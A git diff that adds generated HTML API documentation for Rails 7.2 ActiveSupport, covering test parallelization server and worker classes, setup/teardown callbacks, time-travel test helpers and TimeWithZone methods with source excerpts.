+          @active_workers = Concurrent::Map.new
+          @in_flight = Concurrent::Map.new
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + <<(o) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/server.rb, line 31
+        def <<(o)
+          o[2] = DRbObject.new(o[2]) if o
+          @queue << o
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + active_workers?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/server.rb, line 51
+        def active_workers?
+          @active_workers.size > 0
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + interrupt() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/server.rb, line 55
+        def interrupt
+          @queue.clear
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pop() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/server.rb, line 36
+        def pop
+          if test = @queue.pop
+            @in_flight[[test[0].to_s, test[1]]] = test
+            test
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + record(reporter, result) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/server.rb, line 20
+        def record(reporter, result)
+          raise DRb::DRbConnError if result.is_a?(DRb::DRbUnknown)
+
+          @in_flight.delete([result.klass, result.name])
+
+          reporter.synchronize do
+            reporter.prerecord(PrerecordResultClass.new(result.klass), result.name)
+            reporter.record(result)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + shutdown() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/server.rb, line 59
+        def shutdown
+          # Wait for initial queue to drain
+          while @queue.length != 0
+            sleep 0.1
+          end
+
+          @queue.close
+
+          # Wait until all workers have finished
+          while active_workers?
+            sleep 0.1
+          end
+
+          @in_flight.values.each do |(klass, name, reporter)|
+            result = Minitest::Result.from(klass.new(name))
+            error = RuntimeError.new("result not reported")
+            error.set_backtrace([""])
+            result.failures << Minitest::UnexpectedError.new(error)
+            reporter.synchronize do
+              reporter.record(result)
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start_worker(worker_id) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/server.rb, line 43
+        def start_worker(worker_id)
+          @active_workers[worker_id] = true
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stop_worker(worker_id) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/server.rb, line 47
+        def stop_worker(worker_id)
+          @active_workers.delete(worker_id)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/Parallelization/Worker.html b/src/7.2/classes/ActiveSupport/Testing/Parallelization/Worker.html new file mode 100644 index 0000000000..420995b193 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/Parallelization/Worker.html @@ -0,0 +1,401 @@ +--- +title: ActiveSupport::Testing::Parallelization::Worker +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(number, url) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/worker.rb, line 7
+        def initialize(number, url)
+          @id = SecureRandom.uuid
+          @number = number
+          @url = url
+          @setup_exception = nil
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + after_fork() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/worker.rb, line 80
+        def after_fork
+          Parallelization.after_fork_hooks.each do |cb|
+            cb.call(@number)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + perform_job(job) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/worker.rb, line 42
+        def perform_job(job)
+          klass    = job[0]
+          method   = job[1]
+          reporter = job[2]
+
+          set_process_title("#{klass}##{method}")
+
+          result = klass.with_info_handler reporter do
+            Minitest.run_one_method(klass, method)
+          end
+
+          safe_record(reporter, result)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + run_cleanup() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/worker.rb, line 86
+        def run_cleanup
+          Parallelization.run_cleanup_hooks.each do |cb|
+            cb.call(@number)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + safe_record(reporter, result) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/worker.rb, line 56
+        def safe_record(reporter, result)
+          add_setup_exception(result) if @setup_exception
+
+          begin
+            @queue.record(reporter, result)
+          rescue DRb::DRbConnError
+            result.failures.map! do |failure|
+              if failure.respond_to?(:error)
+                # minitest >5.14.0
+                error = DRb::DRbRemoteError.new(failure.error)
+              else
+                error = DRb::DRbRemoteError.new(failure.exception)
+              end
+              Minitest::UnexpectedError.new(error)
+            end
+            @queue.record(reporter, result)
+          rescue Interrupt
+            @queue.interrupt
+            raise
+          end
+
+          set_process_title("(idle)")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/worker.rb, line 14
+        def start
+          fork do
+            set_process_title("(starting)")
+
+            DRb.stop_service
+
+            @queue = DRbObject.new_with_uri(@url)
+            @queue.start_worker(@id)
+
+            begin
+              after_fork
+            rescue => @setup_exception; end
+
+            work_from_queue
+          ensure
+            set_process_title("(stopping)")
+
+            run_cleanup
+            @queue.stop_worker(@id)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + work_from_queue() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/parallelization/worker.rb, line 36
+        def work_from_queue
+          while job = @queue.pop
+            perform_job(job)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/SetupAndTeardown.html b/src/7.2/classes/ActiveSupport/Testing/SetupAndTeardown.html new file mode 100644 index 0000000000..7668a7673b --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/SetupAndTeardown.html @@ -0,0 +1,147 @@ +--- +title: ActiveSupport::Testing::SetupAndTeardown +layout: default +--- +
+ +
+
+ +
+ +

Adds support for setup and teardown callbacks. These callbacks serve as a replacement to overwriting the #setup and #teardown methods of your TestCase.

+ +
class ExampleTest < ActiveSupport::TestCase
+  setup do
+    # ...
+  end
+
+  teardown do
+    # ...
+  end
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + prepended(klass) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/setup_and_teardown.rb, line 21
+      def self.prepended(klass)
+        klass.include ActiveSupport::Callbacks
+        klass.define_callbacks :setup, :teardown
+        klass.extend ClassMethods
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/SetupAndTeardown/ClassMethods.html b/src/7.2/classes/ActiveSupport/Testing/SetupAndTeardown/ClassMethods.html new file mode 100644 index 0000000000..c6d77c9da2 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/SetupAndTeardown/ClassMethods.html @@ -0,0 +1,140 @@ +--- +title: ActiveSupport::Testing::SetupAndTeardown::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + setup(*args, &block) + +

+ + +
+

Add a callback, which runs before TestCase#setup.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/setup_and_teardown.rb, line 29
+        def setup(*args, &block)
+          set_callback(:setup, :before, *args, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + teardown(*args, &block) + +

+ + +
+

Add a callback, which runs after TestCase#teardown.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/setup_and_teardown.rb, line 34
+        def teardown(*args, &block)
+          set_callback(:teardown, :after, *args, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Testing/TimeHelpers.html b/src/7.2/classes/ActiveSupport/Testing/TimeHelpers.html new file mode 100644 index 0000000000..75a5cabc1f --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Testing/TimeHelpers.html @@ -0,0 +1,449 @@ +--- +title: ActiveSupport::Testing::TimeHelpers +layout: default +--- +
+ +
+
+ +
+ +

Contains helpers that help you test passage of time.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + after_teardown() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/time_helpers.rb, line 69
+      def after_teardown
+        travel_back
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + freeze_time(with_usec: false, &block) + +

+ + +
+

Calls travel_to with Time.now. Forwards optional with_usec argument.

+ +
Time.current # => Sun, 09 Jul 2017 15:34:49 EST -05:00
+freeze_time
+sleep(1)
+Time.current # => Sun, 09 Jul 2017 15:34:49 EST -05:00
+
+ +

This method also accepts a block, which will return the current time back to its original state at the end of the block:

+ +
Time.current # => Sun, 09 Jul 2017 15:34:49 EST -05:00
+freeze_time do
+  sleep(1)
+  User.create.created_at # => Sun, 09 Jul 2017 15:34:49 EST -05:00
+end
+Time.current # => Sun, 09 Jul 2017 15:34:50 EST -05:00
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/time_helpers.rb, line 256
+      def freeze_time(with_usec: false, &block)
+        travel_to Time.now, with_usec: with_usec, &block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + travel(duration, with_usec: false, &block) + +

+ + +
+

Changes current time to the time in the future or in the past by a given time difference by stubbing Time.now, Date.today, and DateTime.now. The stubs are automatically removed at the end of the test.

+ +

Note that the usec for the resulting time will be set to 0 to prevent rounding errors with external services, like MySQL (which will round instead of floor, leading to off-by-one-second errors), unless the with_usec argument is set to true.

+ +
Time.current     # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+travel 1.day
+Time.current     # => Sun, 10 Nov 2013 15:34:49 EST -05:00
+Date.current     # => Sun, 10 Nov 2013
+DateTime.current # => Sun, 10 Nov 2013 15:34:49 -0500
+
+ +

This method also accepts a block, which will return the current time back to its original state at the end of the block:

+ +
Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+travel 1.day do
+  User.create.created_at # => Sun, 10 Nov 2013 15:34:49 EST -05:00
+end
+Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/time_helpers.rb, line 97
+      def travel(duration, with_usec: false, &block)
+        travel_to Time.now + duration, with_usec: with_usec, &block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + travel_back() + +

+ + +
+

Returns the current time back to its original state, by removing the stubs added by travel, travel_to, and freeze_time.

+ +
Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+
+travel_to Time.zone.local(2004, 11, 24, 1, 4, 44)
+Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+
+travel_back
+Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+
+ +

This method also accepts a block, which brings the stubs back at the end of the block:

+ +
Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+
+travel_to Time.zone.local(2004, 11, 24, 1, 4, 44)
+Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+
+travel_back do
+  Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+end
+
+Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+
+
+ + + +
+ Also aliased as: unfreeze_time +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/time_helpers.rb, line 230
+      def travel_back
+        stubbed_time = Time.current if block_given? && simple_stubs.stubbed?
+
+        simple_stubs.unstub_all!
+        yield if block_given?
+      ensure
+        travel_to stubbed_time if stubbed_time
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + travel_to(date_or_time, with_usec: false) + +

+ + +
+

Changes current time to the given time by stubbing Time.now, Time.new, Date.today, and DateTime.now to return the time or date passed into this method. The stubs are automatically removed at the end of the test.

+ +
Time.current     # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+travel_to Time.zone.local(2004, 11, 24, 1, 4, 44)
+Time.current     # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+Date.current     # => Wed, 24 Nov 2004
+DateTime.current # => Wed, 24 Nov 2004 01:04:44 -0500
+
+ +

Dates are taken as their timestamp at the beginning of the day in the application time zone. Time.current returns said timestamp, and Time.now its equivalent in the system time zone. Similarly, Date.current returns a date equal to the argument, and Date.today the date according to Time.now, which may be different. (Note that you rarely want to deal with Time.now, or Date.today, in order to honor the application time zone please always use Time.current and Date.current.)

+ +

Note that the usec for the time passed will be set to 0 to prevent rounding errors with external services, like MySQL (which will round instead of floor, leading to off-by-one-second errors), unless the with_usec argument is set to true.

+ +

This method also accepts a block, which will return the current time back to its original state at the end of the block:

+ +
Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+travel_to Time.zone.local(2004, 11, 24, 1, 4, 44) do
+  Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+end
+Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/testing/time_helpers.rb, line 133
+      def travel_to(date_or_time, with_usec: false)
+        if block_given? && in_block
+          travel_to_nested_block_call = <<~MSG
+
+      Calling `travel_to` with a block, when we have previously already made a call to `travel_to`, can lead to confusing time stubbing.
+
+      Instead of:
+
+         travel_to 2.days.from_now do
+           # 2 days from today
+           travel_to 3.days.from_now do
+             # 5 days from today
+           end
+         end
+
+      preferred way to achieve above is:
+
+         travel 2.days do
+           # 2 days from today
+         end
+
+         travel 5.days do
+           # 5 days from today
+         end
+
+          MSG
+          raise travel_to_nested_block_call
+        end
+
+        if date_or_time.is_a?(Date) && !date_or_time.is_a?(DateTime)
+          now = date_or_time.midnight.to_time
+        elsif date_or_time.is_a?(String)
+          now = Time.zone.parse(date_or_time)
+        else
+          now = date_or_time
+          now = now.to_time unless now.is_a?(Time)
+          now = now.change(usec: 0) unless with_usec
+        end
+
+        # +now+ must be in local system timezone, because +Time.at(now)+
+        # and +now.to_date+ (see stubs below) will use +now+'s timezone too!
+        now = now.getlocal
+
+        stubs = simple_stubs
+        stubbed_time = Time.now if stubs.stubbing(Time, :now)
+        stubs.stub_object(Time, :now) { at(now) }
+
+        stubs.stub_object(Time, :new) do |*args, **options|
+          if args.empty? && options.empty?
+            at(now)
+          else
+            stub = stubs.stubbing(Time, :new)
+            Time.send(stub.original_method, *args, **options)
+          end
+        end
+
+        stubs.stub_object(Date, :today) { jd(now.to_date.jd) }
+        stubs.stub_object(DateTime, :now) { jd(now.to_date.jd, now.hour, now.min, now.sec, Rational(now.utc_offset, 86400)) }
+
+        if block_given?
+          begin
+            self.in_block = true
+            yield
+          ensure
+            if stubbed_time
+              travel_to stubbed_time
+            else
+              travel_back
+            end
+            self.in_block = false
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unfreeze_time() + +

+ + +
+ +
+ + + + + +
+ Alias for: travel_back +
+ + + + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/TimeWithZone.html b/src/7.2/classes/ActiveSupport/TimeWithZone.html new file mode 100644 index 0000000000..b803d1d61a --- /dev/null +++ b/src/7.2/classes/ActiveSupport/TimeWithZone.html @@ -0,0 +1,2812 @@ +--- +title: ActiveSupport::TimeWithZone +layout: default +--- +
+ +
+
+ +
+ +

Active Support Time With Zone

+ +

A Time-like class that can represent a time in any time zone. Necessary because standard Ruby Time instances are limited to UTC and the system’s ENV['TZ'] zone.

+ +

You shouldn’t ever need to create a TimeWithZone instance directly via new. Instead use methods local, parse, at, and now on TimeZone instances, and in_time_zone on Time and DateTime instances.

+ +
Time.zone = 'Eastern Time (US & Canada)'        # => 'Eastern Time (US & Canada)'
+Time.zone.local(2007, 2, 10, 15, 30, 45)        # => Sat, 10 Feb 2007 15:30:45.000000000 EST -05:00
+Time.zone.parse('2007-02-10 15:30:45')          # => Sat, 10 Feb 2007 15:30:45.000000000 EST -05:00
+Time.zone.at(1171139445)                        # => Sat, 10 Feb 2007 15:30:45.000000000 EST -05:00
+Time.zone.now                                   # => Sun, 18 May 2008 13:07:55.754107581 EDT -04:00
+Time.utc(2007, 2, 10, 20, 30, 45).in_time_zone  # => Sat, 10 Feb 2007 15:30:45.000000000 EST -05:00
+
+ +

See Time and TimeZone for further documentation of these methods.

+ +

TimeWithZone instances implement the same API as Ruby Time instances, so that Time and TimeWithZone instances are interchangeable.

+ +
t = Time.zone.now                     # => Sun, 18 May 2008 13:27:25.031505668 EDT -04:00
+t.hour                                # => 13
+t.dst?                                # => true
+t.utc_offset                          # => -14400
+t.zone                                # => "EDT"
+t.to_fs(:rfc822)                      # => "Sun, 18 May 2008 13:27:25 -0400"
+t + 1.day                             # => Mon, 19 May 2008 13:27:25.031505668 EDT -04:00
+t.beginning_of_year                   # => Tue, 01 Jan 2008 00:00:00.000000000 EST -05:00
+t > Time.utc(1999)                    # => true
+t.is_a?(Time)                         # => true
+t.is_a?(ActiveSupport::TimeWithZone)  # => true
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
PRECISIONS=Hash.new { |h, n| h[n] = "%FT%T.%#{n}N" }
SECONDS_PER_DAY=86400
+ + + + +

Attributes

+ + + + + + + + +
+ [R] + time_zone
+ + + + +

Class Public methods

+ +
+

+ + new(utc_time, time_zone, local_time = nil, period = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 51
+    def initialize(utc_time, time_zone, local_time = nil, period = nil)
+      @utc = utc_time ? transfer_time_values_to_utc_constructor(utc_time) : nil
+      @time_zone, @time = time_zone, local_time
+      @period = @utc ? period : get_period_and_ensure_valid_local_time(period)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + +(other) + +

+ + +
+

Adds an interval of time to the current object’s time and returns that value as a new TimeWithZone object.

+ +
Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+now = Time.zone.now # => Sun, 02 Nov 2014 01:26:28.725182881 EDT -04:00
+now + 1000          # => Sun, 02 Nov 2014 01:43:08.725182881 EDT -04:00
+
+ +

If we’re adding a Duration of variable length (i.e., years, months, days), move forward from time, otherwise move forward from utc, for accuracy when moving across DST boundaries.

+ +

For instance, a time + 24.hours will advance exactly 24 hours, while a time + 1.day will advance 23-25 hours, depending on the day.

+ +
now + 24.hours      # => Mon, 03 Nov 2014 00:26:28.725182881 EST -05:00
+now + 1.day         # => Mon, 03 Nov 2014 01:26:28.725182881 EST -05:00
+
+
+ + + +
+ Also aliased as: since, in +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 299
+    def +(other)
+      if duration_of_variable_length?(other)
+        method_missing(:+, other)
+      else
+        result = utc.acts_like?(:date) ? utc.since(other) : utc + other rescue utc.since(other)
+        result.in_time_zone(time_zone)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + -(other) + +

+ + +
+

Subtracts an interval of time and returns a new TimeWithZone object unless the other value acts_like? time. In which case, it will subtract the other time and return the difference in seconds as a Float.

+ +
Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+now = Time.zone.now # => Mon, 03 Nov 2014 00:26:28.725182881 EST -05:00
+now - 1000          # => Mon, 03 Nov 2014 00:09:48.725182881 EST -05:00
+
+ +

If subtracting a Duration of variable length (i.e., years, months, days), move backward from time, otherwise move backward from utc, for accuracy when moving across DST boundaries.

+ +

For instance, a time - 24.hours will go subtract exactly 24 hours, while a time - 1.day will subtract 23-25 hours, depending on the day.

+ +
now - 24.hours      # => Sun, 02 Nov 2014 01:26:28.725182881 EDT -04:00
+now - 1.day         # => Sun, 02 Nov 2014 00:26:28.725182881 EDT -04:00
+
+ +

If both the TimeWithZone object and the other value act like Time, a Float will be returned.

+ +
Time.zone.now - 1.day.ago # => 86399.999967
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 333
+    def -(other)
+      if other.acts_like?(:time)
+        getutc - other.getutc
+      elsif duration_of_variable_length?(other)
+        method_missing(:-, other)
+      else
+        result = utc.acts_like?(:date) ? utc.ago(other) : utc - other rescue utc.ago(other)
+        result.in_time_zone(time_zone)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + <=>(other) + +

+ + +
+

Use the time in UTC for comparisons.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 232
+    def <=>(other)
+      utc <=> other
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + acts_like_time?() + +

+ + +
+

So that self acts_like?(:time).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 494
+    def acts_like_time?
+      true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + advance(options) + +

+ + +
+

Uses Date to provide precise Time calculations for years, months, and days according to the proleptic Gregorian calendar. The result is returned as a new TimeWithZone object.

+ +

The options parameter takes a hash with any of these keys: :years, :months, :weeks, :days, :hours, :minutes, :seconds.

+ +

If advancing by a value of variable length (i.e., years, weeks, months, days), move forward from time, otherwise move forward from utc, for accuracy when moving across DST boundaries.

+ +
Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+now = Time.zone.now # => Sun, 02 Nov 2014 01:26:28.558049687 EDT -04:00
+now.advance(seconds: 1) # => Sun, 02 Nov 2014 01:26:29.558049687 EDT -04:00
+now.advance(minutes: 1) # => Sun, 02 Nov 2014 01:27:28.558049687 EDT -04:00
+now.advance(hours: 1)   # => Sun, 02 Nov 2014 01:26:28.558049687 EST -05:00
+now.advance(days: 1)    # => Mon, 03 Nov 2014 01:26:28.558049687 EST -05:00
+now.advance(weeks: 1)   # => Sun, 09 Nov 2014 01:26:28.558049687 EST -05:00
+now.advance(months: 1)  # => Tue, 02 Dec 2014 01:26:28.558049687 EST -05:00
+now.advance(years: 1)   # => Mon, 02 Nov 2015 01:26:28.558049687 EST -05:00
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 422
+    def advance(options)
+      # If we're advancing a value of variable length (i.e., years, weeks, months, days), advance from #time,
+      # otherwise advance from #utc, for accuracy when moving across DST boundaries
+      if options.values_at(:years, :weeks, :months, :days).any?
+        method_missing(:advance, options)
+      else
+        utc.advance(options).in_time_zone(time_zone)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ago(other) + +

+ + +
+

Subtracts an interval of time from the current object’s time and returns the result as a new TimeWithZone object.

+ +
Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+now = Time.zone.now # => Mon, 03 Nov 2014 00:26:28.725182881 EST -05:00
+now.ago(1000)       # => Mon, 03 Nov 2014 00:09:48.725182881 EST -05:00
+
+ +

If we’re subtracting a Duration of variable length (i.e., years, months, days), move backward from time, otherwise move backward from utc, for accuracy when moving across DST boundaries.

+ +

For instance, time.ago(24.hours) will move back exactly 24 hours, while time.ago(1.day) will move back 23-25 hours, depending on the day.

+ +
now.ago(24.hours)   # => Sun, 02 Nov 2014 01:26:28.725182881 EDT -04:00
+now.ago(1.day)      # => Sun, 02 Nov 2014 00:26:28.725182881 EDT -04:00
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 361
+    def ago(other)
+      since(-other)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + as_json(options = nil) + +

+ + +
+

Coerces time to a string for JSON encoding. The default format is ISO 8601. You can get %Y/%m/%d %H:%M:%S +offset style by setting ActiveSupport::JSON::Encoding.use_standard_json_time_format to false.

+ +
# With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
+Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+# => "2005-02-01T05:15:10.000-10:00"
+
+# With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
+Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+# => "2005/02/01 05:15:10 -1000"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 166
+    def as_json(options = nil)
+      if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+        xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+      else
+        %(#{time.strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + between?(min, max) + +

+ + +
+

Returns true if the current object’s time is within the specified min and max time.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 240
+    def between?(min, max)
+      utc.between?(min, max)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + blank?() + +

+ + +
+

An instance of ActiveSupport::TimeWithZone is never blank

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 505
+    def blank?
+      false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + change(options) + +

+ + +
+

Returns a new ActiveSupport::TimeWithZone where one or more of the elements have been changed according to the options parameter. The time options (:hour, :min, :sec, :usec, :nsec) reset cascadingly, so if only the hour is passed, then minute, sec, usec, and nsec is set to 0. If the hour and minute is passed, then sec, usec, and nsec is set to 0. The options parameter takes a hash with any of these keys: :year, :month, :day, :hour, :min, :sec, :usec, :nsec, :offset, :zone. Pass either :usec or :nsec, not both. Similarly, pass either :zone or :offset, not both.

+ +
t = Time.zone.now          # => Fri, 14 Apr 2017 11:45:15.116992711 EST -05:00
+t.change(year: 2020)       # => Tue, 14 Apr 2020 11:45:15.116992711 EST -05:00
+t.change(hour: 12)         # => Fri, 14 Apr 2017 12:00:00.000000000 EST -05:00
+t.change(min: 30)          # => Fri, 14 Apr 2017 11:30:00.000000000 EST -05:00
+t.change(offset: "-10:00") # => Fri, 14 Apr 2017 11:45:15.116992711 HST -10:00
+t.change(zone: "Hawaii")   # => Fri, 14 Apr 2017 11:45:15.116992711 HST -10:00
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 382
+    def change(options)
+      if options[:zone] && options[:offset]
+        raise ArgumentError, "Can't change both :offset and :zone at the same time: #{options.inspect}"
+      end
+
+      new_time = time.change(options)
+
+      if options[:zone]
+        new_zone = ::Time.find_zone(options[:zone])
+      elsif options[:offset]
+        new_zone = ::Time.find_zone(new_time.utc_offset)
+      end
+
+      new_zone ||= time_zone
+      periods = new_zone.periods_for_local(new_time)
+
+      self.class.new(nil, new_zone, new_time, periods.include?(period) ? period : nil)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + comparable_time() + +

+ + +
+ +
+ + + + + +
+ Alias for: utc +
+ + + + +
+ +
+

+ + dst?() + +

+ + +
+

Returns true if the current time is within Daylight Savings Time for the specified time zone.

+ +
Time.zone = 'Eastern Time (US & Canada)'    # => 'Eastern Time (US & Canada)'
+Time.zone.parse("2012-5-30").dst?           # => true
+Time.zone.parse("2012-11-30").dst?          # => false
+
+
+ + + +
+ Also aliased as: isdst +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 94
+    def dst?
+      period.dst?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eql?(other) + +

+ + +
+

Returns true if other is equal to current object.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/time_with_zone.rb, line 275
+    def eql?(other)
+      other.eql?(utc)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + formatted_offset(colon = true, alternate_utc_string = nil) + +

+ + +
+

Returns a formatted string of the offset from UTC, or an alternative string if the time zone is already UTC.

+ +
